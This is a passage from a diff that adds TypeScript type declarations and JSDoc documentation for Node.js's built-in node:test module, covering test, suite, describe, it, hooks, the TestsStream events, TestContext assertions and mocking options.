*/ + function run(options?: RunOptions): TestsStream; + /** + * The `test()` function is the value imported from the `test` module. Each + * invocation of this function results in reporting the test to the `TestsStream`. + * + * The `TestContext` object passed to the `fn` argument can be used to perform + * actions related to the current test. Examples include skipping the test, adding + * additional diagnostic information, or creating subtests. + * + * `test()` returns a `Promise` that fulfills once the test completes. + * if `test()` is called within a suite, it fulfills immediately. + * The return value can usually be discarded for top level tests. + * However, the return value from subtests should be used to prevent the parent + * test from finishing first and cancelling the subtest + * as shown in the following example. + * + * ```js + * test('top level test', async (t) => { + * // The setTimeout() in the following subtest would cause it to outlive its + * // parent test if 'await' is removed on the next line. Once the parent test + * // completes, it will cancel any outstanding subtests. + * await t.test('longer running subtest', async (t) => { + * return new Promise((resolve, reject) => { + * setTimeout(resolve, 1000); + * }); + * }); + * }); + * ``` + * + * The `timeout` option can be used to fail the test if it takes longer than `timeout` milliseconds to complete. However, it is not a reliable mechanism for + * canceling tests because a running test might block the application thread and + * thus prevent the scheduled cancellation. + * @since v18.0.0, v16.17.0 + * @param name The name of the test, which is displayed when reporting test results. + * Defaults to the `name` property of `fn`, or `''` if `fn` does not have a name. + * @param options Configuration options for the test. + * @param fn The function under test. The first argument to this function is a {@link TestContext} object. + * If the test uses callbacks, the callback function is passed as the second argument. + * @return Fulfilled with `undefined` once the test completes, or immediately if the test runs within a suite. + */ + function test(name?: string, fn?: TestFn): Promise; + function test(name?: string, options?: TestOptions, fn?: TestFn): Promise; + function test(options?: TestOptions, fn?: TestFn): Promise; + function test(fn?: TestFn): Promise; + namespace test { + export { + after, + afterEach, + before, + beforeEach, + describe, + it, + mock, + only, + run, + skip, + snapshot, + suite, + test, + todo, + }; + } + /** + * The `suite()` function is imported from the `node:test` module. + * @param name The name of the suite, which is displayed when reporting test results. + * Defaults to the `name` property of `fn`, or `''` if `fn` does not have a name. + * @param options Configuration options for the suite. This supports the same options as {@link test}. + * @param fn The suite function declaring nested tests and suites. The first argument to this function is a {@link SuiteContext} object. + * @return Immediately fulfilled with `undefined`. + * @since v20.13.0 + */ + function suite(name?: string, options?: TestOptions, fn?: SuiteFn): Promise; + function suite(name?: string, fn?: SuiteFn): Promise; + function suite(options?: TestOptions, fn?: SuiteFn): Promise; + function suite(fn?: SuiteFn): Promise; + namespace suite { + /** + * Shorthand for skipping a suite. This is the same as calling {@link suite} with `options.skip` set to `true`. + * @since v20.13.0 + */ + function skip(name?: string, options?: TestOptions, fn?: SuiteFn): Promise; + function skip(name?: string, fn?: SuiteFn): Promise; + function skip(options?: TestOptions, fn?: SuiteFn): Promise; + function skip(fn?: SuiteFn): Promise; + /** + * Shorthand for marking a suite as `TODO`. This is the same as calling {@link suite} with `options.todo` set to `true`. + * @since v20.13.0 + */ + function todo(name?: string, options?: TestOptions, fn?: SuiteFn): Promise; + function todo(name?: string, fn?: SuiteFn): Promise; + function todo(options?: TestOptions, fn?: SuiteFn): Promise; + function todo(fn?: SuiteFn): Promise; + /** + * Shorthand for marking a suite as `only`. This is the same as calling {@link suite} with `options.only` set to `true`. + * @since v20.13.0 + */ + function only(name?: string, options?: TestOptions, fn?: SuiteFn): Promise; + function only(name?: string, fn?: SuiteFn): Promise; + function only(options?: TestOptions, fn?: SuiteFn): Promise; + function only(fn?: SuiteFn): Promise; + } + /** + * Alias for {@link suite}. + * + * The `describe()` function is imported from the `node:test` module. + */ + function describe(name?: string, options?: TestOptions, fn?: SuiteFn): Promise; + function describe(name?: string, fn?: SuiteFn): Promise; + function describe(options?: TestOptions, fn?: SuiteFn): Promise; + function describe(fn?: SuiteFn): Promise; + namespace describe { + /** + * Shorthand for skipping a suite. This is the same as calling {@link describe} with `options.skip` set to `true`. + * @since v18.15.0 + */ + function skip(name?: string, options?: TestOptions, fn?: SuiteFn): Promise; + function skip(name?: string, fn?: SuiteFn): Promise; + function skip(options?: TestOptions, fn?: SuiteFn): Promise; + function skip(fn?: SuiteFn): Promise; + /** + * Shorthand for marking a suite as `TODO`. This is the same as calling {@link describe} with `options.todo` set to `true`. + * @since v18.15.0 + */ + function todo(name?: string, options?: TestOptions, fn?: SuiteFn): Promise; + function todo(name?: string, fn?: SuiteFn): Promise; + function todo(options?: TestOptions, fn?: SuiteFn): Promise; + function todo(fn?: SuiteFn): Promise; + /** + * Shorthand for marking a suite as `only`. This is the same as calling {@link describe} with `options.only` set to `true`. + * @since v18.15.0 + */ + function only(name?: string, options?: TestOptions, fn?: SuiteFn): Promise; + function only(name?: string, fn?: SuiteFn): Promise; + function only(options?: TestOptions, fn?: SuiteFn): Promise; + function only(fn?: SuiteFn): Promise; + } + /** + * Alias for {@link test}. + * + * The `it()` function is imported from the `node:test` module. + * @since v18.6.0, v16.17.0 + */ + function it(name?: string, options?: TestOptions, fn?: TestFn): Promise; + function it(name?: string, fn?: TestFn): Promise; + function it(options?: TestOptions, fn?: TestFn): Promise; + function it(fn?: TestFn): Promise; + namespace it { + /** + * Shorthand for skipping a test. This is the same as calling {@link it} with `options.skip` set to `true`. + */ + function skip(name?: string, options?: TestOptions, fn?: TestFn): Promise; + function skip(name?: string, fn?: TestFn): Promise; + function skip(options?: TestOptions, fn?: TestFn): Promise; + function skip(fn?: TestFn): Promise; + /** + * Shorthand for marking a test as `TODO`. This is the same as calling {@link it} with `options.todo` set to `true`. + */ + function todo(name?: string, options?: TestOptions, fn?: TestFn): Promise; + function todo(name?: string, fn?: TestFn): Promise; + function todo(options?: TestOptions, fn?: TestFn): Promise; + function todo(fn?: TestFn): Promise; + /** + * Shorthand for marking a test as `only`. This is the same as calling {@link it} with `options.only` set to `true`. + * @since v18.15.0 + */ + function only(name?: string, options?: TestOptions, fn?: TestFn): Promise; + function only(name?: string, fn?: TestFn): Promise; + function only(options?: TestOptions, fn?: TestFn): Promise; + function only(fn?: TestFn): Promise; + } + /** + * Shorthand for skipping a test. This is the same as calling {@link test} with `options.skip` set to `true`. + * @since v20.2.0 + */ + function skip(name?: string, options?: TestOptions, fn?: TestFn): Promise; + function skip(name?: string, fn?: TestFn): Promise; + function skip(options?: TestOptions, fn?: TestFn): Promise; + function skip(fn?: TestFn): Promise; + /** + * Shorthand for marking a test as `TODO`. This is the same as calling {@link test} with `options.todo` set to `true`. + * @since v20.2.0 + */ + function todo(name?: string, options?: TestOptions, fn?: TestFn): Promise; + function todo(name?: string, fn?: TestFn): Promise; + function todo(options?: TestOptions, fn?: TestFn): Promise; + function todo(fn?: TestFn): Promise; + /** + * Shorthand for marking a test as `only`. This is the same as calling {@link test} with `options.only` set to `true`. + * @since v20.2.0 + */ + function only(name?: string, options?: TestOptions, fn?: TestFn): Promise; + function only(name?: string, fn?: TestFn): Promise; + function only(options?: TestOptions, fn?: TestFn): Promise; + function only(fn?: TestFn): Promise; + /** + * The type of a function passed to {@link test}. The first argument to this function is a {@link TestContext} object. + * If the test uses callbacks, the callback function is passed as the second argument. + */ + type TestFn = (t: TestContext, done: (result?: any) => void) => void | Promise; + /** + * The type of a suite test function. The argument to this function is a {@link SuiteContext} object. + */ + type SuiteFn = (s: SuiteContext) => void | Promise; + interface TestShard { + /** + * A positive integer between 1 and `total` that specifies the index of the shard to run. + */ + index: number; + /** + * A positive integer that specifies the total number of shards to split the test files to. + */ + total: number; + } + interface RunOptions { + /** + * If a number is provided, then that many test processes would run in parallel, where each process corresponds to one test file. + * If `true`, it would run `os.availableParallelism() - 1` test files in parallel. If `false`, it would only run one test file at a time. + * @default false + */ + concurrency?: number | boolean | undefined; + /** + * An array containing the list of files to run. If omitted, files are run according to the + * [test runner execution model](https://nodejs.org/docs/latest-v22.x/api/test.html#test-runner-execution-model). + */ + files?: readonly string[] | undefined; + /** + * Configures the test runner to exit the process once all known + * tests have finished executing even if the event loop would + * otherwise remain active. + * @default false + */ + forceExit?: boolean | undefined; + /** + * An array containing the list of glob patterns to match test files. + * This option cannot be used together with `files`. If omitted, files are run according to the + * [test runner execution model](https://nodejs.org/docs/latest-v22.x/api/test.html#test-runner-execution-model). + * @since v22.6.0 + */ + globPatterns?: readonly string[] | undefined; + /** + * Sets inspector port of test child process. + * If a nullish value is provided, each process gets its own port, + * incremented from the primary's `process.debugPort`. + * @default undefined + */ + inspectPort?: number | (() => number) | undefined; + /** + * If truthy, the test context will only run tests that have the `only` option set + */ + only?: boolean | undefined; + /** + * A function that accepts the `TestsStream` instance and can be used to setup listeners before any tests are run. + * @default undefined + */ + setup?: ((reporter: TestsStream) => void | Promise) | undefined; + /** + * Allows aborting an in-progress test execution. + */ + signal?: AbortSignal | undefined; + /** + * If provided, only run tests whose name matches the provided pattern. + * Strings are interpreted as JavaScript regular expressions. + * @default undefined + */ + testNamePatterns?: string | RegExp | ReadonlyArray | undefined; + /** + * A String, RegExp or a RegExp Array, that can be used to exclude running tests whose + * name matches the provided pattern. Test name patterns are interpreted as JavaScript + * regular expressions. For each test that is executed, any corresponding test hooks, + * such as `beforeEach()`, are also run. + * @default undefined + * @since v22.1.0 + */ + testSkipPatterns?: string | RegExp | ReadonlyArray | undefined; + /** + * The number of milliseconds after which the test execution will fail. + * If unspecified, subtests inherit this value from their parent. + * @default Infinity + */ + timeout?: number | undefined; + /** + * Whether to run in watch mode or not. + * @default false + */ + watch?: boolean | undefined; + /** + * Running tests in a specific shard. + * @default undefined + */ + shard?: TestShard | undefined; + } + /** + * A successful call to `run()` will return a new `TestsStream` object, streaming a series of events representing the execution of the tests. + * + * Some of the events are guaranteed to be emitted in the same order as the tests are defined, while others are emitted in the order that the tests execute. + * @since v18.9.0, v16.19.0 + */ + class TestsStream extends Readable implements NodeJS.ReadableStream { + addListener(event: "test:coverage", listener: (data: TestCoverage) => void): this; + addListener(event: "test:complete", listener: (data: TestComplete) => void): this; + addListener(event: "test:dequeue", listener: (data: TestDequeue) => void): this; + addListener(event: "test:diagnostic", listener: (data: DiagnosticData) => void): this; + addListener(event: "test:enqueue", listener: (data: TestEnqueue) => void): this; + addListener(event: "test:fail", listener: (data: TestFail) => void): this; + addListener(event: "test:pass", listener: (data: TestPass) => void): this; + addListener(event: "test:plan", listener: (data: TestPlan) => void): this; + addListener(event: "test:start", listener: (data: TestStart) => void): this; + addListener(event: "test:stderr", listener: (data: TestStderr) => void): this; + addListener(event: "test:stdout", listener: (data: TestStdout) => void): this; + addListener(event: "test:watch:drained", listener: () => void): this; + addListener(event: string, listener: (...args: any[]) => void): this; + emit(event: "test:coverage", data: TestCoverage): boolean; + emit(event: "test:complete", data: TestComplete): boolean; + emit(event: "test:dequeue", data: TestDequeue): boolean; + emit(event: "test:diagnostic", data: DiagnosticData): boolean; + emit(event: "test:enqueue", data: TestEnqueue): boolean; + emit(event: "test:fail", data: TestFail): boolean; + emit(event: "test:pass", data: TestPass): boolean; + emit(event: "test:plan", data: TestPlan): boolean; + emit(event: "test:start", data: TestStart): boolean; + emit(event: "test:stderr", data: TestStderr): boolean; + emit(event: "test:stdout", data: TestStdout): boolean; + emit(event: "test:watch:drained"): boolean; + emit(event: string | symbol, ...args: any[]): boolean; + on(event: "test:coverage", listener: (data: TestCoverage) => void): this; + on(event: "test:complete", listener: (data: TestComplete) => void): this; + on(event: "test:dequeue", listener: (data: TestDequeue) => void): this; + on(event: "test:diagnostic", listener: (data: DiagnosticData) => void): this; + on(event: "test:enqueue", listener: (data: TestEnqueue) => void): this; + on(event: "test:fail", listener: (data: TestFail) => void): this; + on(event: "test:pass", listener: (data: TestPass) => void): this; + on(event: "test:plan", listener: (data: TestPlan) => void): this; + on(event: "test:start", listener: (data: TestStart) => void): this; + on(event: "test:stderr", listener: (data: TestStderr) => void): this; + on(event: "test:stdout", listener: (data: TestStdout) => void): this; + on(event: "test:watch:drained", listener: () => void): this; + on(event: string, listener: (...args: any[]) => void): this; + once(event: "test:coverage", listener: (data: TestCoverage) => void): this; + once(event: "test:complete", listener: (data: TestComplete) => void): this; + once(event: "test:dequeue", listener: (data: TestDequeue) => void): this; + once(event: "test:diagnostic", listener: (data: DiagnosticData) => void): this; + once(event: "test:enqueue", listener: (data: TestEnqueue) => void): this; + once(event: "test:fail", listener: (data: TestFail) => void): this; + once(event: "test:pass", listener: (data: TestPass) => void): this; + once(event: "test:plan", listener: (data: TestPlan) => void): this; + once(event: "test:start", listener: (data: TestStart) => void): this; + once(event: "test:stderr", listener: (data: TestStderr) => void): this; + once(event: "test:stdout", listener: (data: TestStdout) => void): this; + once(event: "test:watch:drained", listener: () => void): this; + once(event: string, listener: (...args: any[]) => void): this; + prependListener(event: "test:coverage", listener: (data: TestCoverage) => void): this; + prependListener(event: "test:complete", listener: (data: TestComplete) => void): this; + prependListener(event: "test:dequeue", listener: (data: TestDequeue) => void): this; + prependListener(event: "test:diagnostic", listener: (data: DiagnosticData) => void): this; + prependListener(event: "test:enqueue", listener: (data: TestEnqueue) => void): this; + prependListener(event: "test:fail", listener: (data: TestFail) => void): this; + prependListener(event: "test:pass", listener: (data: TestPass) => void): this; + prependListener(event: "test:plan", listener: (data: TestPlan) => void): this; + prependListener(event: "test:start", listener: (data: TestStart) => void): this; + prependListener(event: "test:stderr", listener: (data: TestStderr) => void): this; + prependListener(event: "test:stdout", listener: (data: TestStdout) => void): this; + prependListener(event: "test:watch:drained", listener: () => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + prependOnceListener(event: "test:coverage", listener: (data: TestCoverage) => void): this; + prependOnceListener(event: "test:complete", listener: (data: TestComplete) => void): this; + prependOnceListener(event: "test:dequeue", listener: (data: TestDequeue) => void): this; + prependOnceListener(event: "test:diagnostic", listener: (data: DiagnosticData) => void): this; + prependOnceListener(event: "test:enqueue", listener: (data: TestEnqueue) => void): this; + prependOnceListener(event: "test:fail", listener: (data: TestFail) => void): this; + prependOnceListener(event: "test:pass", listener: (data: TestPass) => void): this; + prependOnceListener(event: "test:plan", listener: (data: TestPlan) => void): this; + prependOnceListener(event: "test:start", listener: (data: TestStart) => void): this; + prependOnceListener(event: "test:stderr", listener: (data: TestStderr) => void): this; + prependOnceListener(event: "test:stdout", listener: (data: TestStdout) => void): this; + prependOnceListener(event: "test:watch:drained", listener: () => void): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + } + /** + * An instance of `TestContext` is passed to each test function in order to + * interact with the test runner. However, the `TestContext` constructor is not + * exposed as part of the API. + * @since v18.0.0, v16.17.0 + */ + class TestContext { + /** + * An object containing assertion methods bound to the test context. + * The top-level functions from the `node:assert` module are exposed here for the purpose of creating test plans. + * @since v22.2.0, v20.15.0 + */ + readonly assert: TestContextAssert; + /** + * This function is used to create a hook running before subtest of the current test. + * @param fn The hook function. The first argument to this function is a `TestContext` object. + * If the hook uses callbacks, the callback function is passed as the second argument. + * @param options Configuration options for the hook. + * @since v20.1.0, v18.17.0 + */ + before(fn?: TestContextHookFn, options?: HookOptions): void; + /** + * This function is used to create a hook running before each subtest of the current test. + * @param fn The hook function. The first argument to this function is a `TestContext` object. + * If the hook uses callbacks, the callback function is passed as the second argument. + * @param options Configuration options for the hook. + * @since v18.8.0 + */ + beforeEach(fn?: TestContextHookFn, options?: HookOptions): void; + /** + * This function is used to create a hook that runs after the current test finishes. + * @param fn The hook function. The first argument to this function is a `TestContext` object. + * If the hook uses callbacks, the callback function is passed as the second argument. + * @param options Configuration options for the hook. + * @since v18.13.0 + */ + after(fn?: TestContextHookFn, options?: HookOptions): void; + /** + * This function is used to create a hook running after each subtest of the current test. + * @param fn The hook function. The first argument to this function is a `TestContext` object. + * If the hook uses callbacks, the callback function is passed as the second argument. + * @param options Configuration options for the hook. + * @since v18.8.0 + */ + afterEach(fn?: TestContextHookFn, options?: HookOptions): void; + /** + * This function is used to write diagnostics to the output. Any diagnostic + * information is included at the end of the test's results. This function does + * not return a value. + * + * ```js + * test('top level test', (t) => { + * t.diagnostic('A diagnostic message'); + * }); + * ``` + * @since v18.0.0, v16.17.0 + * @param message Message to be reported. + */ + diagnostic(message: string): void; + /** + * The absolute path of the test file that created the current test. If a test file imports + * additional modules that generate tests, the imported tests will return the path of the root test file. + * @since v22.6.0 + */ + readonly filePath: string | undefined; + /** + * The name of the test and each of its ancestors, separated by `>`. + * @since v22.3.0 + */ + readonly fullName: string; + /** + * The name of the test. + * @since v18.8.0, v16.18.0 + */ + readonly name: string; + /** + * Used to set the number of assertions and subtests that are expected to run within the test. + * If the number of assertions and subtests that run does not match the expected count, the test will fail. + * + * To make sure assertions are tracked, the assert functions on `context.assert` must be used, + * instead of importing from the `node:assert` module. + * ```js + * test('top level test', (t) => { + * t.plan(2); + * t.assert.ok('some relevant assertion here'); + * t.test('subtest', () => {}); + * }); + * ``` + * + * When working with asynchronous code, the `plan` function can be used to ensure that the correct number of assertions are run: + * ```js + * test('planning with streams', (t, done) => { + * function* generate() { + * yield 'a'; + * yield 'b'; + * yield 'c'; + * } + * const expected = ['a', 'b', 'c']; + * t.plan(expected.length); + * const stream = Readable.from(generate()); + * stream.on('data', (chunk) => { + * t.assert.strictEqual(chunk, expected.shift()); + * }); + * stream.on('end', () => { + * done(); + * }); + * }); + * ``` + * @since v22.2.0 + */ + plan(count: number): void; + /** + * If `shouldRunOnlyTests` is truthy, the test context will only run tests that + * have the `only` option set. Otherwise, all tests are run. If Node.js was not + * started with the `--test-only` command-line option, this function is a + * no-op. + * + * ```js + * test('top level test', (t) => { + * // The test context can be set to run subtests with the 'only' option. + * t.runOnly(true); + * return Promise.all([ + * t.test('this subtest is now skipped'), + * t.test('this subtest is run', { only: true }), + * ]); + * }); + * ``` + * @since v18.0.0, v16.17.0 + * @param shouldRunOnlyTests Whether or not to run `only` tests. + */ + runOnly(shouldRunOnlyTests: boolean): void; + /** + * ```js + * test('top level test', async (t) => { + * await fetch('some/uri', { signal: t.signal }); + * }); + * ``` + * @since v18.7.0, v16.17.0 + */ + readonly signal: AbortSignal; + /** + * This function causes the test's output to indicate the test as skipped. If `message` is provided, it is included in the output. Calling `skip()` does + * not terminate execution of the test function. This function does not return a + * value. + * + * ```js + * test('top level test', (t) => { + * // Make sure to return here as well if the test contains additional logic. + * t.skip('this is skipped'); + * }); + * ``` + * @since v18.0.0, v16.17.0 + * @param message Optional skip message. + */ + skip(message?: string): void; + /** + * This function adds a `TODO` directive to the test's output. If `message` is + * provided, it is included in the output. Calling `todo()` does not terminate + * execution of the test function. This function does not return a value. + * + * ```js + * test('top level test', (t) => { + * // This test is marked as `TODO` + * t.todo('this is a todo'); + * }); + * ``` + * @since v18.0.0, v16.17.0 + * @param message Optional `TODO` message. + */ + todo(message?: string): void; + /** + * This function is used to create subtests under the current test. This function behaves in + * the same fashion as the top level {@link test} function. + * @since v18.0.0 + * @param name The name of the test, which is displayed when reporting test results. + * Defaults to the `name` property of `fn`, or `''` if `fn` does not have a name. + * @param options Configuration options for the test. + * @param fn The function under test. This first argument to this function is a {@link TestContext} object. + * If the test uses callbacks, the callback function is passed as the second argument. + * @returns A {@link Promise} resolved with `undefined` once the test completes. + */ + test: typeof test; + /** + * Each test provides its own MockTracker instance. + */ + readonly mock: MockTracker; + } + interface TestContextAssert { + /** + * Identical to the `deepEqual` function from the `node:assert` module, but bound to the test context. + */ + deepEqual: typeof import("node:assert").deepEqual; + /** + * Identical to the `deepStrictEqual` function from the `node:assert` module, but bound to the test context. + * + * **Note:** as this method returns a type assertion, the context parameter in the callback signature must have a + * type annotation, otherwise an error will be raised by the TypeScript compiler: + * ```ts + * import { test, type TestContext } from 'node:test'; + * + * // The test function's context parameter must have a type annotation. + * test('example', (t: TestContext) => { + * t.assert.deepStrictEqual(actual, expected); + * }); + * + * // Omitting the type annotation will result in a compilation error. + * test('example', t => { + * t.assert.deepStrictEqual(actual, expected); // Error: 't' needs an explicit type annotation. + * }); + * ``` + */ + deepStrictEqual: typeof import("node:assert").deepStrictEqual; + /** + * Identical to the `doesNotMatch` function from the `node:assert` module, but bound to the test context. + */ + doesNotMatch: typeof import("node:assert").doesNotMatch; + /** + * Identical to the `doesNotReject` function from the `node:assert` module, but bound to the test context. + */ + doesNotReject: typeof import("node:assert").doesNotReject; + /** + * Identical to the `doesNotThrow` function from the `node:assert` module, but bound to the test context. + */ + doesNotThrow: typeof import("node:assert").doesNotThrow; + /** + * Identical to the `equal` function from the `node:assert` module, but bound to the test context. + */ + equal: typeof import("node:assert").equal; + /** + * Identical to the `fail` function from the `node:assert` module, but bound to the test context. + */ + fail: typeof import("node:assert").fail; + /** + * Identical to the `ifError` function from the `node:assert` module, but bound to the test context. + * + * **Note:** as this method returns a type assertion, the context parameter in the callback signature must have a + * type annotation, otherwise an error will be raised by the TypeScript compiler: + * ```ts + * import { test, type TestContext } from 'node:test'; + * + * // The test function's context parameter must have a type annotation. + * test('example', (t: TestContext) => { + * t.assert.ifError(err); + * }); + * + * // Omitting the type annotation will result in a compilation error. + * test('example', t => { + * t.assert.ifError(err); // Error: 't' needs an explicit type annotation. + * }); + * ``` + */ + ifError: typeof import("node:assert").ifError; + /** + * Identical to the `match` function from the `node:assert` module, but bound to the test context. + */ + match: typeof import("node:assert").match; + /** + * Identical to the `notDeepEqual` function from the `node:assert` module, but bound to the test context. + */ + notDeepEqual: typeof import("node:assert").notDeepEqual; + /** + * Identical to the `notDeepStrictEqual` function from the `node:assert` module, but bound to the test context. + */ + notDeepStrictEqual: typeof import("node:assert").notDeepStrictEqual; + /** + * Identical to the `notEqual` function from the `node:assert` module, but bound to the test context. + */ + notEqual: typeof import("node:assert").notEqual; + /** + * Identical to the `notStrictEqual` function from the `node:assert` module, but bound to the test context. + */ + notStrictEqual: typeof import("node:assert").notStrictEqual; + /** + * Identical to the `ok` function from the `node:assert` module, but bound to the test context. + * + * **Note:** as this method returns a type assertion, the context parameter in the callback signature must have a + * type annotation, otherwise an error will be raised by the TypeScript compiler: + * ```ts + * import { test, type TestContext } from 'node:test'; + * + * // The test function's context parameter must have a type annotation. + * test('example', (t: TestContext) => { + * t.assert.ok(condition); + * }); + * + * // Omitting the type annotation will result in a compilation error. + * test('example', t => { + * t.assert.ok(condition)); // Error: 't' needs an explicit type annotation. + * }); + * ``` + */ + ok: typeof import("node:assert").ok; + /** + * Identical to the `rejects` function from the `node:assert` module, but bound to the test context. + */ + rejects: typeof import("node:assert").rejects; + /** + * Identical to the `strictEqual` function from the `node:assert` module, but bound to the test context. + * + * **Note:** as this method returns a type assertion, the context parameter in the callback signature must have a + * type annotation, otherwise an error will be raised by the TypeScript compiler: + * ```ts + * import { test, type TestContext } from 'node:test'; + * + * // The test function's context parameter must have a type annotation. + * test('example', (t: TestContext) => { + * t.assert.strictEqual(actual, expected); + * }); + * + * // Omitting the type annotation will result in a compilation error. + * test('example', t => { + * t.assert.strictEqual(actual, expected); // Error: 't' needs an explicit type annotation. + * }); + * ``` + */ + strictEqual: typeof import("node:assert").strictEqual; + /** + * Identical to the `throws` function from the `node:assert` module, but bound to the test context. + */ + throws: typeof import("node:assert").throws; + /** + * This function implements assertions for snapshot testing. + * ```js + * test('snapshot test with default serialization', (t) => { + * t.assert.snapshot({ value1: 1, value2: 2 }); + * }); + * + * test('snapshot test with custom serialization', (t) => { + * t.assert.snapshot({ value3: 3, value4: 4 }, { + * serializers: [(value) => JSON.stringify(value)] + * }); + * }); + * ``` + * + * Only available through the [--experimental-test-snapshots](https://nodejs.org/api/cli.html#--experimental-test-snapshots) flag. + * @since v22.3.0 + * @experimental + */ + snapshot(value: any, options?: AssertSnapshotOptions): void; + } + interface AssertSnapshotOptions { + /** + * An array of synchronous functions used to serialize `value` into a string. + * `value` is passed as the only argument to the first serializer function. + * The return value of each serializer is passed as input to the next serializer. + * Once all serializers have run, the resulting value is coerced to a string. + * + * If no serializers are provided, the test runner's default serializers are used. + */ + serializers?: ReadonlyArray<(value: any) => any> | undefined; + } + + /** + * An instance of `SuiteContext` is passed to each suite function in order to + * interact with the test runner. However, the `SuiteContext` constructor is not + * exposed as part of the API. + * @since v18.7.0, v16.17.0 + */ + class SuiteContext { + /** + * The absolute path of the test file that created the current suite. If a test file imports + * additional modules that generate suites, the imported suites will return the path of the root test file. + * @since v22.6.0 + */ + readonly filePath: string | undefined; + /** + * The name of the suite. + * @since v18.8.0, v16.18.0 + */ + readonly name: string; + /** + * Can be used to abort test subtasks when the test has been aborted. + * @since v18.7.0, v16.17.0 + */ + readonly signal: AbortSignal; + } + interface TestOptions { + /** + * If a number is provided, then that many tests would run in parallel. + * If truthy, it would run (number of cpu cores - 1) tests in parallel. + * For subtests, it will be `Infinity` tests in parallel. + * If falsy, it would only run one test at a time. + * If unspecified, subtests inherit this value from their parent. + * @default false + */ + concurrency?: number | boolean | undefined; + /** + * If truthy, and the test context is configured to run `only` tests, then this test will be + * run. Otherwise, the test is skipped. + * @default false + */ + only?: boolean | undefined; + /** + * Allows aborting an in-progress test. + * @since v18.8.0 + */ + signal?: AbortSignal | undefined; + /** + * If truthy, the test is skipped. If a string is provided, that string is displayed in the + * test results as the reason for skipping the test. + * @default false + */ + skip?: boolean | string | undefined; + /** + * A number of milliseconds the test will fail after. If unspecified, subtests inherit this + * value from their parent. + * @default Infinity + * @since v18.7.0 + */ + timeout?: number | undefined; + /** + * If truthy, the test marked as `TODO`. If a string is provided, that string is displayed in + * the test results as the reason why the test is `TODO`. + * @default false + */ + todo?: boolean | string | undefined; + /** + * The number of assertions and subtests expected to be run in the test. + * If the number of assertions run in the test does not match the number + * specified in the plan, the test will fail. + * @default undefined + * @since v22.2.0 + */ + plan?: number | undefined; + } + /** + * This function creates a hook that runs before executing a suite. + * + * ```js + * describe('tests', async () => { + * before(() => console.log('about to run some test')); + * it('is a subtest', () => { + * assert.ok('some relevant assertion here'); + * }); + * }); + * ``` + * @since v18.8.0, v16.18.0 + * @param fn The hook function. If the hook uses callbacks, the callback function is passed as the second argument. + * @param options Configuration options for the hook. + */ + function before(fn?: HookFn, options?: HookOptions): void; + /** + * This function creates a hook that runs after executing a suite. + * + * ```js + * describe('tests', async () => { + * after(() => console.log('finished running tests')); + * it('is a subtest', () => { + * assert.ok('some relevant assertion here'); + * }); + * }); + * ``` + * @since v18.8.0, v16.18.0 + * @param fn The hook function. If the hook uses callbacks, the callback function is passed as the second argument. + * @param options Configuration options for the hook. + */ + function after(fn?: HookFn, options?: HookOptions): void; + /** + * This function creates a hook that runs before each test in the current suite. + * + * ```js + * describe('tests', async () => { + * beforeEach(() => console.log('about to run a test')); + * it('is a subtest', () => { + * assert.ok('some relevant assertion here'); + * }); + * }); + * ``` + * @since v18.8.0, v16.18.0 + * @param fn The hook function. If the hook uses callbacks, the callback function is passed as the second argument. + * @param options Configuration options for the hook. + */ + function beforeEach(fn?: HookFn, options?: HookOptions): void; + /** + * This function creates a hook that runs after each test in the current suite. + * The `afterEach()` hook is run even if the test fails. + * + * ```js + * describe('tests', async () => { + * afterEach(() => console.log('finished running a test')); + * it('is a subtest', () => { + * assert.ok('some relevant assertion here'); + * }); + * }); + * ``` + * @since v18.8.0, v16.18.0 + * @param fn The hook function. If the hook uses callbacks, the callback function is passed as the second argument. + * @param options Configuration options for the hook. + */ + function afterEach(fn?: HookFn, options?: HookOptions): void; + /** + * The hook function. The first argument is the context in which the hook is called. + * If the hook uses callbacks, the callback function is passed as the second argument. + */ + type HookFn = (c: TestContext | SuiteContext, done: (result?: any) => void) => any; + /** + * The hook function. The first argument is a `TestContext` object. + * If the hook uses callbacks, the callback function is passed as the second argument. + */ + type TestContextHookFn = (t: TestContext, done: (result?: any) => void) => any; + /** + * Configuration options for hooks. + * @since v18.8.0 + */ + interface HookOptions { + /** + * Allows aborting an in-progress hook. + */ + signal?: AbortSignal | undefined; + /** + * A number of milliseconds the hook will fail after. If unspecified, subtests inherit this + * value from their parent. + * @default Infinity + */ + timeout?: number | undefined; + } + interface MockFunctionOptions { + /** + * The number of times that the mock will use the behavior of `implementation`. + * Once the mock function has been called `times` times, + * it will automatically restore the behavior of `original`. + * This value must be an integer greater than zero. + * @default Infinity + */ + times?: number | undefined; + } + interface MockMethodOptions extends MockFunctionOptions { + /** + * If `true`, `object[methodName]` is treated as a getter. + * This option cannot be used with the `setter` option. + */ + getter?: boolean | undefined; + /** + * If `true`, `object[methodName]` is treated as a setter. + * This option cannot be used with the `getter` option. + */ + setter?: boolean | undefined; + } + type Mock = F & { + mock: MockFunctionContext; + }; + type NoOpFunction = (...args: any[]) => undefined; + type FunctionPropertyNames = { + [K in keyof T]: T[K] extends Function ? K : never; + }[keyof T]; + interface MockModuleOptions { + /** + * If false, each call to `require()` or `import()` generates a new mock module. + * If true, subsequent calls will return the same module mock, and the mock module is inserted into the CommonJS cache. + * @default false + */ + cache?: boolean | undefined; + /** + * The value to use as the mocked module's default export. + * + * If this value is not provided, ESM mocks do not include a default export. + * If the mock is a CommonJS or builtin module, this setting is used as the value of `module.exports`. + * If this value is not provided, CJS and builtin mocks use an empty object as the value of `module.exports`. + */ + defaultExport?: any; + /** + * An object whose keys and values are used to create the named exports of the mock module. + * + * If the mock is a CommonJS or builtin module, these values are copied onto `module.exports`. + * Therefore, if a mock is created with both named exports and a non-object default export, + * the mock will throw an exception when used as a CJS or builtin module. + */ + namedExports?: object | undefined; + } + /** + * The `MockTracker` class is used to manage mocking functionality. The test runner + * module provides a top level `mock` export which is a `MockTracker` instance. + * Each test also provides its own `MockTracker` instance via the test context's `mock` property. + * @since v19.1.0, v18.13.0 + */ + class MockTracker { + /** + * This function is used to create a mock function. + * + * The following example creates a mock function that increments a counter by one + * on each invocation. The `times` option is used to modify the mock behavior such + * that the first two invocations add two to the counter instead of one. + * + * ```js + * test('mocks a counting function', (t) => { + * let cnt = 0; + * + * function addOne() { + * cnt++; + * return cnt; + * } + * + * function addTwo() { + * cnt += 2; + * return cnt; + * } + * + * const fn = t.mock.fn(addOne, addTwo, { times: 2 }); + * + * assert.strictEqual(fn(), 2); + * 